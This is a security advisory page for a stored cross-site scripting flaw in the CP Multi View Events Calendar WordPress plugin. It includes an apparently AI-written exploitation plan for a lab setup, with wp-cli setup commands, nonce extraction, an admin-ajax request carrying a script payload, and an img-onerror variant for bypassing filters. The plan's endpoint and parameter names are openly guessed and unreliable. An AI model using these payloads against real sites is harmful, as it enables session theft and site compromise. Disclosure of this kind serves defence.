CP Multi View Events Calendar <= 1.4.34 - Authenticated (Subscriber+) Stored Cross-Site Scripting
Description
The CP Multi View Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.34 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.4.34Since the source code for the plugin is not provided, this research plan is based on the vulnerability description and common architectural patterns found in the **CP Multi View Events Calendar** plugin (developed by CodePeople). The agent will first perform a discovery phase to identify the exact i…
Show full research plan
Since the source code for the plugin is not provided, this research plan is based on the vulnerability description and common architectural patterns found in the CP Multi View Events Calendar plugin (developed by CodePeople). The agent will first perform a discovery phase to identify the exact identifiers and endpoints.
1. Vulnerability Summary
The CP Multi View Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via several AJAX endpoints or settings pages. The vulnerability exists because the plugin accepts user-supplied input (likely event details, titles, or calendar configurations) and stores it in the database without applying WordPress sanitization functions like sanitize_text_field() or wp_kses(). When this data is subsequently retrieved and displayed on the calendar or in the admin dashboard, it is outputted directly via echo without proper escaping (esc_html or esc_attr), allowing arbitrary JavaScript execution in the context of the user viewing the calendar.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action (Inferred): Likely
mv_save_eventorcp_multiview_save_data. The plugin uses AJAX for most event manipulations. - Payload Parameter: Likely
event_desc,event_title, or a JSON-encoded string in adataparameter. - Authentication: Authenticated, Subscriber-level or above.
- Preconditions: The plugin must be active, and at least one calendar must be created/viewable.
3. Code Flow (Inferred)
- Entry Point: An AJAX handler is registered via
add_action('wp_ajax_...', ...)oradd_action('wp_ajax_nopriv_...', ...). - Input Handling: The callback function retrieves input from
$_POST. - Vulnerable Sink (Storage): The input is saved to the
wp_poststable (as post content/title) orwp_postmetatable (as event metadata) usingupdate_post_meta()without sanitization. - Vulnerable Sink (Output): The frontend shortcode
[cp_multiview_calendar]or a backend calendar view retrieves this data and renders it. The code likely uses a rawecho $variable;inside a loop iterating through events.
4. Nonce Acquisition Strategy
The agent must identify how the plugin localizes its AJAX nonce.
- Discovery Command:
grep -r "wp_localize_script" /var/www/html/wp-content/plugins/cp-multi-view-calendar/ - Identify the Variable: Look for a call that passes a nonce, e.g.,
wp_create_nonce('cp_multiview_nonce'). - JS Object Identification: Verbatim from typical CodePeople plugins, the object is often
cp_multiview_calendar_paramsormv_calendar_vars. - Extraction Steps:
- Create a page with the calendar shortcode:
wp post create --post_type=page --post_status=publish --post_content='[cp_multiview_calendar]' - Navigate to the page using
browser_navigate. - Extract the nonce:
browser_eval("window.cp_multiview_calendar_params?.nonce || window.mv_calendar_vars?.nonce").
- Create a page with the calendar shortcode:
5. Test Data Setup
Before exploitation, the agent should:
- Install/Activate: Ensure version 1.4.34 is active.
- Create Subscriber:
wp user create victim_sub subscriber@example.com --role=subscriber --user_pass=password123 - Identify a Calendar ID: List existing calendars (if any) or create one to find an ID.
wp post list --post_type=cp_multiview_cal - Create Trigger Page: Create a public page containing the shortcode
[cp_multiview_calendar]so the XSS can be triggered.
6. Exploitation Strategy
The agent will follow these steps:
Step 1: Identify the Vulnerable Parameter
Search the plugin for update_post_meta calls that don't have preceding sanitization:
grep -rn "update_post_meta" /var/www/html/wp-content/plugins/cp-multi-view-calendar/ | grep "\$_POST"
Step 2: Craft the AJAX Request
Assuming the action is mv_save_event and the parameter is event_text (to be confirmed by Step 1):
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Cookies: Subscriber session cookies.
- Body:
action=mv_save_event& nonce=[EXTRACTED_NONCE]& event_id=[EXISTING_ID]& event_text=<script>alert(document.domain)</script>
Step 3: Trigger the XSS
Navigate to the page created in the Setup phase using browser_navigate. If the XSS is stored correctly, the browser should execute the alert.
7. Expected Results
- The AJAX request should return a
200 OKor a JSON success message (e.g.,{"status":"success"}). - When navigating to the calendar page, the injected
<script>tag should be present in the HTML source unescaped. - The
browser_navigatetool should detect the JavaScript alert/execution.
8. Verification Steps
After the exploit, use wp_cli to confirm the payload is in the database:
# Check post meta for the payload
wp post meta list [EVENT_ID]
# Check if the payload is in the post_content
wp db query "SELECT post_content FROM wp_posts WHERE post_content LIKE '%<script>alert%';"
9. Alternative Approaches
- Calendar Settings XSS: If event submission is not accessible to Subscribers, check for calendar configuration settings (titles, colors, labels) that might be saveable via an AJAX action that lacks a proper
current_user_can('manage_options')check. - Shortcode Attribute Injection: Check if the plugin allows users to save "Custom Views" where attributes passed to the view are reflected.
- Payload Variations: If
<script>is filtered by a basic WAF, useimgtags:<img src=x onerror=alert(1)>.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.